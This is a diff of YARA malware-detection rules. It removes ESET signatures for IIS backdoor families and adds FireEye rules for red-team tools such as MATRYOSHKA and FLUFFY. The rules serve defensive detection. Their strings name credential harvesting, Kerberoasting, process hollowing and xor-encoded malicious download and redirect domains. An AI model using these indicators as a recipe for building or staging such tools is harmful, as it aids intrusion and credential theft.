+		author = "FireEye"
+		id = "0135f3bb-28b3-5fc4-85a2-b12c46c8bc45"
+		date = "2020-12-02"
+		date = "2020-12-02"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Builder_PY_MATRYOSHKA_1.yar#L4-L22"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "25a97f6dba87ef9906a62c1a305ee1dd"
+		logic_hash = "71b26f4b319429ac356b55d22bccd1da85894d61f8c96452422de78d2d893420"
 		score = 75
-		quality = 80
+		quality = 75
 		tags = ""
-		license = "BSD 2-Clause"
-		version = "1"
+		rev = 1
 
 	strings:
-		$s1 = "/credential/username"
-		$s2 = "/credential/password"
-		$s3 = "/computer/domain"
-		$s4 = "/computer/name"
-		$s5 = "/password"
-		$s6 = "/cmd"
-		$s7 = "%.8s%.8s=%.8s%.16s%.8s%.16s"
-		$s8 = "ImpersonateLoggedOnUser"
-		$s9 = "WNetAddConnection2W"
-		$t1 = "X-Forwarded-Proto"
-		$t2 = "Sec-Fetch-Mode"
-		$t3 = "Sec-Fetch-Site"
-		$t4 = "Cookie"
-		$t5 = {49 45 4E 44 AE 42 60 82}
-		$t6 = {89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52}
+		$s1 = ".pop(0)])"
+		$s2 = "[1].replace('unsigned char buf[] = \"'"
+		$s3 = "binascii.hexlify(f.read()).decode("
+		$s4 = "os.system(\"cargo build {0} --bin {1}\".format("
+		$s5 = "shutil.which('rustc')"
+		$s6 = "~/.cargo/bin"
+		$s7 = /[\x22\x27]\\\\x[\x22\x27]\.join\(\[\w{1,64}\[\w{1,64}:\w{1,64}[\x09\x20]{0,32}\+[\x09\x20]{0,32}2\]/
 
 	condition:
-		ESET_IIS_Native_Module_PRIVATE and 2 of ($s*) and any of ($t*)
+		all of them
 }
-import "pe"
-
-rule ESET_IIS_Group08
+rule FIREEYE_RT_APT_Loader_Win64_MATRYOSHKA_1 : FILE
 {
 	meta:
-		description = "Detects Group 8 native IIS malware family"
-		author = "ESET Research"
-		id = "d0e9a5ec-b7f0-5d3f-93b4-d048503eb210"
-		date = "2021-08-04"
-		modified = "2021-08-04"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/badiis/badiis.yar#L298-L337"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "d5826d454d25ecbbb5da464da974023a247517d873cf10dc0eafa91e185451da"
+		description = "matryoshka_process_hollow.rs"
+		author = "FireEye"
+		id = "69919a80-8ed1-5b8c-911a-ceb75570f11f"
+		date = "2020-12-02"
+		date = "2020-12-02"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Loader_Win64_MATRYOSHKA_1.yar#L4-L19"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "44887551a47ae272d7873a354d24042d"
+		logic_hash = "46e5480dc95ce8b9d8385c2e44a50b21629301535b93833c13cc3db319ac15dd"
 		score = 75
-		quality = 53
-		tags = ""
-		license = "BSD 2-Clause"
-		version = "1"
+		quality = 75
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$i1 = "FliterSecurity.dll"
-		$i2 = "IIS7NativeModule.dll"
-		$i3 = "Ver1.0."
-		$s1 = "Cmd"
-		$s2 = "Realy path : %s"
-		$s3 = "Logged On Users : %d"
-		$s4 = "Connect OK!"
-		$s5 = "You are fucked!"
-		$s6 = "Shit!Error"
-		$s7 = "Where is the God!!"
-		$s8 = "Shit!Download False!"
-		$s9 = "Good!Run OK!"
-		$s10 = "Shit!Run False!"
-		$s11 = "Good!Download OK!"
-		$s12 = "[%d]safedog"
-		$s13 = "ed81bfc09d069121"
-		$s14 = "a9478ef01967d190"
-		$s15 = "af964b7479e5aea2"
-		$s16 = "1f9e6526bea65b59"
-		$s17 = "2b9e9de34f782d31"
-		$s18 = "33cc5da72ac9d7bb"
-		$s19 = "b1d71f4c2596cd55"
-		$s20 = "101fb9d9e86d9e6c"
+		$sb1 = { 48 8B 45 ?? 48 89 85 [0-64] C7 45 ?? 00 00 00 00 31 ?? E8 [4-64] BA 00 10 00 00 [0-32] 41 B8 04 00 00 00 E8 [4] 83 F8 01 [2-32] BA [4] E8 }
+		$sb2 = { E8 [4] 83 F8 01 [2-64] 41 B9 00 10 00 00 [0-32] E8 [4] 83 F8 01 [2-32] 3D 4D 5A 00 00 [0-32] 48 63 ?? 3C [0-32] 50 45 00 00 [4-64] 0F B7 [2] 18 81 ?? 0B 01 00 00 [2-32] 81 ?? 0B 02 00 00 [2-32] 8B [2] 28 }
+		$sb3 = { 66 C7 45 ?? 48 B8 48 C7 45 ?? 00 00 00 00 66 C7 45 ?? FF E0 [0-64] 41 B9 40 00 00 00 [0-32] E8 [4] 83 F8 01 }
 
 	condition:
-		ESET_IIS_Native_Module_PRIVATE and 1 of ($i*) and 3 of ($s*)
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
 }
-import "pe"
-
-rule ESET_IIS_Group09
+rule FIREEYE_RT_APT_Dropper_Win_MATRYOSHKA_1 : FILE
 {
 	meta:
-		description = "Detects Group 9 native IIS malware family"
-		author = "ESET Research"
-		id = "69d176bc-73b1-5c4d-bb7e-463d26e8e6a9"
-		date = "2021-08-04"
-		modified = "2021-08-04"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/badiis/badiis.yar#L339-L387"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "5f89f9488221b8db8d493b3c23b7f5edd957c15511148eca890558886c128192"
+		description = "matryoshka_dropper.rs"
+		author = "FireEye"
+		id = "7fd305c7-0b1b-5d91-b968-7f1fb0a8ae47"
+		date = "2020-12-02"
+		date = "2020-12-02"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Dropper_Win_MATRYOSHKA_1.yar#L4-L20"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "edcd58ba5b1b87705e95089002312281"
+		logic_hash = "a7bf7599ec9b4b1d09a8c90b70ae565a9396fb31d449da3c1492d6fa336d9c5e"
 		score = 75
-		quality = 76
-		tags = ""
-		license = "BSD 2-Clause"
-		version = "1"
+		quality = 75
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$i1 = "FliterSecurity.dll"
-		$i2 = {56565656565656565656565656565656}
-		$i3 = "app|hot|alp|svf|fkj|mry|poc|doc|20" xor
-		$i4 = "yisouspider|yisou|soso|sogou|m.sogou|sogo|sogou|so.com|baidu|bing|360" xor
-		$i5 = "baidu|m.baidu|soso|sogou|m.sogou|sogo|sogou|so.com|google|youdao" xor
-		$i6 = "118|abc|1go|evk" xor
-		$s1 = "AVCFuckHttpModuleFactory"
-		$s2 = "X-Forward"
-		$s3 = "fuck32.dat"
-		$s4 = "fuck64.dat"
-		$s5 = "&ipzz1="
-		$s6 = "&ipzz2="
-		$s7 = "&uuu="
-		$s8 = "http://20.3323sf.c" xor
-		$s9 = "http://bj.whtjz.c" xor
-		$s10 = "http://bj2.wzrpx.c" xor
-		$s11 = "http://cs.whtjz.c" xor
-		$s12 = "http://df.e652.c" xor
-		$s13 = "http://dfcp.yyphw.c" xor
-		$s14 = "http://es.csdsx.c" xor
-		$s15 = "http://hz.wzrpx.c" xor
-		$s16 = "http://id.3323sf.c" xor
-		$s17 = "http://qp.008php.c" xor
-		$s18 = "http://qp.nmnsw.c" xor
-		$s19 = "http://sc.300bt.c" xor
-		$s20 = "http://sc.wzrpx.c" xor
-		$s21 = "http://sf2223.c" xor
-		$s22 = "http://sx.cmdxb.c" xor
-		$s23 = "http://sz.ycfhx.c" xor
-		$s24 = "http://xpq.0660sf.c" xor
-		$s25 = "http://xsc.b1174.c" xor
+		$s1 = "\x00matryoshka.exe\x00"
+		$s2 = "\x00Unable to write data\x00"
+		$s3 = "\x00Error while spawning process. NTStatus: \x0a\x00"
+		$s4 = "\x00.execmdstart/Cfailed to execute process\x00"
 
 	condition:
-		ESET_IIS_Native_Module_PRIVATE and any of ($i*) and 3 of ($s*)
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule ESET_IIS_Group10
+rule FIREEYE_RT_APT_Loader_Win_MATRYOSHKA_1 : FILE
 {
 	meta:
-		description = "Detects Group 10 native IIS malware family"
-		author = "ESET Research"
-		id = "31368b38-9128-594d-888d-e97d3edc7a1f"
-		date = "2021-08-04"
-		modified = "2021-08-04"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/badiis/badiis.yar#L389-L423"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "48701168d7da726222227ef757f1a4005a49c0bf300123319ce03db09445b3ef"
+		description = "matryoshka_process_hollow.rs"
+		author = "FireEye"
+		id = "c07fb67e-ded5-593d-b5dc-d0e2c3b5a352"
+		date = "2020-12-02"
+		date = "2020-12-02"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Loader_Win_MATRYOSHKA_1.yar#L4-L24"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "44887551a47ae272d7873a354d24042d"
+		logic_hash = "8f762684ffd3984630bf41ededa78b8993b53b22591a59912cabfe635775de53"
 		score = 75
-		quality = 80
-		tags = ""
-		license = "BSD 2-Clause"
-		version = "1"
+		quality = 75
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$s1 = "IIS7.dll"
-		$s2 = "<title>(.*?)title(.*?)>"
-		$s3 = "<meta(.*?)name(.*?)=(.*?)keywords(.*?)>"
-		$s4 = "<meta(.*?)name(.*?)=(.*?)description(.*?)>"
-		$s5 = "js.breakavs.co"
-		$s6 = "&#24494;&#20449;&#32676;&#45;&#36187;&#36710;&#80;&#75;&#49;&#48;&#32676;&#12304;&#36827;&#32676;&#24494;&#20449;&#102;&#117;&#110;&#53;&#55;&#54;&#52;&#52;&#12305;&#95;&#24184;&#36816;&#39134;&#33351;&#95;&#24184;&#36816;&#50;&#56;&#32676;"
-		$s7 = "&#21271;&#20140;&#36187;&#36710;&#24494;&#20449;&#32676;&#44;&#21271;&#20140;&#24494;&#20449;&#36187;&#36710;&#32676;&#44;&#21271;&#20140;&#36187;&#36710;&#24494;&#20449;&#32676;&#44;&#80;&#75;&#49;&#48;&#32676;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#24494;&#20449;&#32676;&#44;&#80;&#75;&#49;&#48;&#24494;&#20449;&#32676;&#44;&#36187;&#36710;&#24494;&#20449;&#32676;&#44;&#21271;&#20140;&#36187;&#36710;&#32676;&#44;"
-		$s8 = "&#21271;&#20140;&#36187;&#36710;&#24494;&#20449;&#32676;&#44;&#21271;&#20140;&#24494;&#20449;&#36187;&#36710;&#32676;&#12304;&#36827;&#32676;&#24494;&#20449;&#21495;&#102;&#117;&#110;&#53;&#55;&#54;&#52;&#52;&#12305;&#21271;&#20140;&#24494;&#20449;&#36187;&#36710;&#32676;&#44;&#21271;&#20140;&#24494;&#20449;&#36187;&#36710;"
-		$e1 = "Baiduspider"
-		$e2 = "Sosospider"
-		$e3 = "Sogou web spider"
-		$e4 = "360Spider"
-		$e5 = "YisouSpider"
-		$e6 = "sogou.com"
-		$e7 = "soso.com"
-		$e8 = "uc.cn"
-		$e9 = "baidu.com"
-		$e10 = "sm.cn"
+		$s1 = "ZwQueryInformationProcess" fullword
+		$s2 = "WriteProcessMemory" fullword
+		$s3 = "CreateProcessW" fullword
+		$s4 = "WriteProcessMemory" fullword
+		$s5 = "\x00Invalid NT Signature!\x00"
+		$s6 = "\x00Error while creating and mapping section. NTStatus: "
+		$s7 = "\x00Error no process information - NTSTATUS:"
+		$s8 = "\x00Error while erasing pe header. NTStatus: "
 
 	condition:
-		ESET_IIS_Native_Module_PRIVATE and 2 of ($e*) and 3 of ($s*)
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
 }
-import "pe"
-
-rule ESET_IIS_Group11
+rule FIREEYE_RT_APT_Loader_Win64_MATRYOSHKA_2 : FILE
 {
 	meta:
-		description = "Detects Group 11 native IIS malware family"
-		author = "ESET Research"
-		id = "e9dac67a-1675-5198-ad26-d555696844f9"
-		date = "2021-08-04"
-		modified = "2021-08-04"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/badiis/badiis.yar#L425-L455"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "a67b6b49b5fc2c7f260c06201c59478f5472de63091c510af82d526c410abb0c"
+		description = "matryoshka.rs"
+		author = "FireEye"
+		id = "25f916bc-6ee1-5175-903c-4266b0a086e1"
+		date = "2020-12-02"
+		date = "2020-12-02"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Loader_Win64_MATRYOSHKA_2.yar#L4-L20"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "7f8102b789303b7861a03290c79feba0"
+		logic_hash = "daa6f6d526bf959c268b2c5a4cae33307cfec5e9ca51283131bbfa66a582b505"
 		score = 75
-		quality = 80
-		tags = ""
-		license = "BSD 2-Clause"
-		version = "1"
+		quality = 75
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$s1 = "DnsQuery_A"
-		$s2 = "&reurl="
-		$s3 = "&jump=1"
-		$s4 = "JVVRaeof"
-		$s5 = "ncpmg::0"
-		$s6 = "zkpzz0cnnuqwnw0eqo"
-		$s7 = "jvvr<11yyy0cnnuqwnw0eqo130rjrAeofqwv?"
+		$sb1 = { 4D [2] 00 49 [2] 08 B? 02 00 00 00 31 ?? E8 [4] 48 89 ?? 48 89 ?? 4C 89 ?? 49 89 ?? E8 [4] 4C 89 ?? 48 89 ?? E8 [4] 83 [2] 01 0F 84 [4] 48 89 ?? 48 8B [2] 48 8B [2] 48 89 [5] 48 89 [5] 48 89 [5] 41 B? [4] 4C 89 ?? 31 ?? E8 [4] C7 45 [5] 48 89 ?? 4C 89 ?? E8 [4] 85 C0 }
+		$sb2 = { 4C [2] 0F 83 [4] 41 0F [3] 01 41 32 [2] 00 48 8B [5] 48 3B [5] 75 ?? 41 B? 01 00 00 00 4C 89 ?? E8 [4] E9 }
+		$si1 = "CreateToolhelp32Snapshot" fullword
+		$si2 = "Process32Next" fullword
 
 	condition:
-		ESET_IIS_Native_Module_PRIVATE and 3 of ($s*)
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
 }
-import "pe"
-
-rule ESET_IIS_Group12
+rule FIREEYE_RT_APT_Dropper_Win64_MATRYOSHKA_1 : FILE
 {
 	meta:
-		description = "Detects Group 12 native IIS malware family"
-		author = "ESET Research"
-		id = "7278f2df-d18a-5d95-9c21-37906629a7f0"
-		date = "2021-08-04"
-		modified = "2021-08-04"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/badiis/badiis.yar#L457-L495"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "8da03328e3702aff8ea5de77fc220f326030c31972d27c0bd9b5918dca550aba"
+		description = "matryoshka_dropper.rs"
+		author = "FireEye"
+		id = "1406aafd-6217-51ef-b3af-107ee88f9c99"
+		date = "2020-12-02"
+		date = "2020-12-02"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MATRYOSHKA/production/yara/APT_Dropper_Win64_MATRYOSHKA_1.yar#L4-L18"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "edcd58ba5b1b87705e95089002312281"
+		logic_hash = "23f811f8e9387ca6a1257a31af66de9739733e4728adba0a3e3f74b5e5c0a556"
 		score = 75
-		quality = 78
-		tags = ""
-		license = "BSD 2-Clause"
-		version = "1"
+		quality = 75
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$s1 = "C:\\inetpub\\temp\\IIS Temporary Compressed Files\\"
-		$s2 = "F5XFFHttpModule.dll"
-		$s3 = "gtest_redir"
-		$s4 = "\\cmd.exe" nocase
-		$s5 = "iuuq;00"
-		$s6 = "?xhost="
-		$s7 = "&reurl="
-		$s8 = "?jump=1"
-		$s9 = "app|zqb"
-		$s10 = "ifeng|ivc|sogou|so.com|baidu|google|youdao|yahoo|bing|118114|biso|gougou|sooule|360|sm|uc"
-		$s11 = "sogou|so.com|baidu|google|youdao|yahoo|bing|gougou|sooule|360|sm.cn|uc"
-		$s12 = "Hotcss/|Hotjs/"
-		$s13 = "HotImg/|HotPic/"
-		$s14 = "msf connect error !!"
-		$s15 = "download ok !!"
-		$s16 = "download error !! "
-		$s17 = "param error !!"
-		$s18 = "Real Path: "
-		$s19 = "unknown cmd !"
-		$b1 = {15 BD 01 2E [-] 5E 40 08 97 [-] CF 8C BE 30 [-] 28 42 C6 3B}
-		$b2 = {E1 0A DC 39 [-] 49 BA 59 AB [-] BE 56 E0 57 [-] F2 0F 88 3E}
+		$sb1 = { 8D 8D [4] E8 [4] 49 89 D0 C6 [2-6] 01 C6 [2-6] 01 [0-8] C7 44 24 ?? 0E 00 00 00 4C 8D 0D [4] 48 8D 8D [4] 48 89 C2 E8 [4] C6 [2-6] 01 C6 [2-6] 01 48 89 E9 48 8D 95 [4] E8 [4] 83 [2] 01 0F 8? [4] 48 01 F3 48 29 F7 48 [2] 08 48 89 85 [4] C6 [2-6] 01 C6 [2-6] 01 C6 [2-6] 01 48 8D 8D [4] 48 89 DA 49 89 F8 E8 }
+		$sb2 = { 0F 29 45 ?? 48 C7 45 ?? 00 00 00 00 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 48 C7 45 ?? 00 00 00 00 C7 45 ?? 68 00 00 00 48 8B [2] 48 8D [2] 48 89 [3] 48 89 [3] 0F 11 44 24 ?? C7 44 24 ?? 08 00 00 0C C7 44 24 ?? 00 00 00 00 31 ?? 48 89 ?? 31 ?? 45 31 ?? 45 31 ?? E8 [4] 83 F8 01 }
 
 	condition:
-		ESET_IIS_Native_Module_PRIVATE and 5 of them
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
 }
-import "pe"
-
-rule ESET_IIS_Group13_Iiserpent
+rule FIREEYE_RT_APT_Hacktool_MSIL_NOAMCI_1 : FILE
 {
 	meta:
-		description = "Detects Group 13 native IIS malware family (IISerpent)"
-		author = "ESET Research"
-		id = "f22dffb1-466f-5a7b-b9aa-de7ba991db1a"
-		date = "2021-08-04"
-		modified = "2021-08-04"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/badiis/badiis.yar#L497-L523"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "7077b842c53ee1581ad4150cdfaac3502bfc0fbd3b823190ad648e09f36e442d"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'noamci' project."
+		author = "FireEye"
+		id = "48066258-528f-5a70-81e1-15d6dfd9ff4f"
+		date = "2020-12-09"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/NOAMCI/production/yara/APT_HackTool_MSIL_NOAMCI_1.yar#L4-L16"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "6278cfb4e9af20bbe943f4b99227c7fba276315a9f0059575b3ed4ef96a848c4"
 		score = 75
-		quality = 80
-		tags = ""
-		license = "BSD 2-Clause"
-		version = "1"
+		quality = 71
+		tags = "FILE"
+		rev = 4
 
 	strings:
-		$s1 = "/mconfig/lunlian.txt"
-		$s2 = "http://sb.qrfy.ne"
-		$s3 = "folderlinkpath"
-		$s4 = "folderlinkcount"
-		$s5 = "onlymobilespider"
-		$s6 = "redirectreferer"
-		$s7 = "loadSuccessfull : "
-		$s8 = "spider"
-		$s9 = "<a href="
-		$s11 = "?ReloadModuleConfig=1"
-		$s12 = "?DisplayModuleConfig=1"
+		$typelibguid0 = "7bcccf21-7ecd-4fd4-8f77-06d461fd4d51" ascii nocase wide
+		$typelibguid1 = "ef86214e-54de-41c3-b27f-efc61d0accc3" ascii nocase wide
 
 	condition:
-		ESET_IIS_Native_Module_PRIVATE and 5 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-import "pe"
-
-rule ESET_IIS_Group14
+rule FIREEYE_RT_APT_Hacktool_MSIL_FLUFFY_1 : FILE
 {
 	meta:
-		description = "Detects Group 14 native IIS malware family"
-		author = "ESET Research"
-		id = "c773b09e-9f24-5e75-ba80-4be69af70b06"
-		date = "2021-08-04"
-		modified = "2021-08-04"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/badiis/badiis.yar#L525-L552"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		logic_hash = "ef10a4dfb1a9164533677416a7c9ada715ce10bfc1e5f92b56cf54bd890d4575"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "6593202d-9b30-59ed-98c0-3e730fb5ceb7"
+		date = "2020-12-04"
+		date = "2020-12-04"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/FLUFFY/production/yara/APT_HackTool_MSIL_FLUFFY_1.yar#L4-L18"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "11b5aceb428c3e8c61ed24a8ca50553e"
+		logic_hash = "4d91c96ab7b628e88f79ee193612acc959448fe2220ef54371f5f5c6e7305d86"
 		score = 75
-		quality = 80
-		tags = ""
-		license = "BSD 2-Clause"
-		version = "1"
+		quality = 75
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$i1 = "agent-self: %s"
-		$i2 = "/utf.php?key="
-		$i3 = "/self.php?v="
-		$i4 = "<script type=\"text/javascript\" src=\"//speed.wlaspsd.co"
-		$i5 = "now.asmkpo.co"
-		$s1 = "Baiduspider"
-		$s2 = "360Spider"
-		$s3 = "Sogou"
-		$s4 = "YisouSpider"
-		$s6 = "HTTP_X_FORWARDED_FOR"
+		$sb1 = { 0E ?? 1? 72 [4] 28 [2] 00 06 [0-16] 28 [2] 00 0A [2-80] 1F 58 0? [0-32] 28 [2] 00 06 [2-32] 1? 28 [2] 00 06 0? 0? 6F [2] 00 06 [2-4] 1F 0B }
+		$sb2 = { 73 [2] 00 06 13 ?? 11 ?? 11 ?? 7D [2] 00 04 11 ?? 73 [2] 00 0A 7D [2] 00 04 0E ?? 2D ?? 11 ?? 7B [2] 00 04 72 [4] 28 [2] 00 0A [2-32] 0? 28 [2] 00 0A [2-16] 11 ?? 7B [2] 00 04 0? 28 [2] 00 0A 1? 28 [2] 00 0A [2-32] 7E [2] 00 0A [0-32] FE 15 [2] 00 02 [0-16] 7D [2] 00 04 28 [2] 00 06 [2-32] 7B [2] 00 04 7D [2] 00 04 [2-32] 7C [2] 00 04 FE 15 [2] 00 02 [0-16] 11 ?? 8C [2] 00 02 28 [2] 00 0A 28 [2] 00 0A [2-80] 8C [2] 00 02 28 [2] 00 0A 12 ?? 12 ?? 12 ?? 28 [2] 00 06 }
+		$ss1 = "\x00Fluffy\x00"
 
 	condition:
-		ESET_IIS_Native_Module_PRIVATE and 2 of ($i*) or 5 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule ESET_Sparklinggoblin_Chacha20Loader_Richheader
+rule FIREEYE_RT_APT_Hacktool_MSIL_FLUFFY_2 : FILE
 {
 	meta:
-		description = "Rule matching ChaCha20 loaders rich header"
-		author = "ESET Research"
-		id = "e1dac369-f25e-5cb3-aafa-b0c45f05b295"
-		date = "2021-03-30"
-		modified = "2021-08-26"
-		reference = "https://github.com/eset/malware-ioc/"
-		source_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/sparklinggoblin/SparklingGoblin.yar#L33-L57"
-		license_url = "https://github.com/eset/malware-ioc/blob/56a9841902ca1b562eaf217df2e45151606d49f2/LICENSE"
-		hash = "09ffe37a54bc4ebebd8d56098e4c76232f35d821"
-		hash = "29b147b76bb0d9e09f7297487cb972e6a2905586"
-		hash = "33f2c3de2457b758fc5824a2b253ad7c7c2e9e37"
-		hash = "45bef297ce78521eac6ee39e7603e18360e67c5a"
-		hash = "4cec7cdc78d95c70555a153963064f216dae8799"
-		hash = "4d4c1a062a0390b20732ba4d65317827f2339b80"
-		hash = "4f6949a4906b834e83ff951e135e0850fe49d5e4"
-		logic_hash = "a5c9595036dec0e0aef0a030c590189752217d15d3f53bf3dc537f5b43fae63e"
+		description = "No description has been set in the source file - FireEye-RT"
+		author = "FireEye"
+		id = "ce39710e-7649-5f7d-bbbe-65dc30f678e8"
+		date = "2020-12-04"
+		date = "2020-12-04"
+		modified = "2020-12-09"
+		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/FLUFFY/production/yara/APT_HackTool_MSIL_FLUFFY_2.yar#L4-L21"
+		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
+		hash = "11b5aceb428c3e8c61ed24a8ca50553e"
+		logic_hash = "872ab717668375a49d6c7b1927a680747b405c0198fe4fc6f43ccc562870eb37"
 		score = 75
-		quality = 80
-		tags = ""
-		license = "BSD 2-Clause"
+		quality = 75
+		tags = "FILE"
+		rev = 1
+
+	strings:
+		$s1 = "\x00Asktgt\x00"
+		$s2 = "\x00Kerberoast\x00"
+		$s3 = "\x00HarvestCommand\x00"
+		$s4 = "\x00EnumerateTickets\x00"
+		$s5 = "[*] Action: " wide
+		$s6 = "\x00Fluffy.Commands\x00"
 
 	condition:
-		pe.rich_signature.length>=104 and pe.rich_signature.length<=112 and pe.rich_signature.toolid(241,40116)>=5 and pe.rich_signature.toolid(241,40116)<=10 and pe.rich_signature.toolid(147,30729)==11 and pe.rich_signature.toolid(264,24215)>=15 and pe.rich_signature.toolid(264,24215)<=16
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-import "pe"
-
-rule ESET_Sparklinggoblin_Chacha20 : FILE
+rule FIREEYE_RT_Hacktool_MSIL_Sharpivot_1 : FILE
 {
 	meta:
-		description = "SparklingGoblin ChaCha20 implementations"
-		author = "ESET Research"
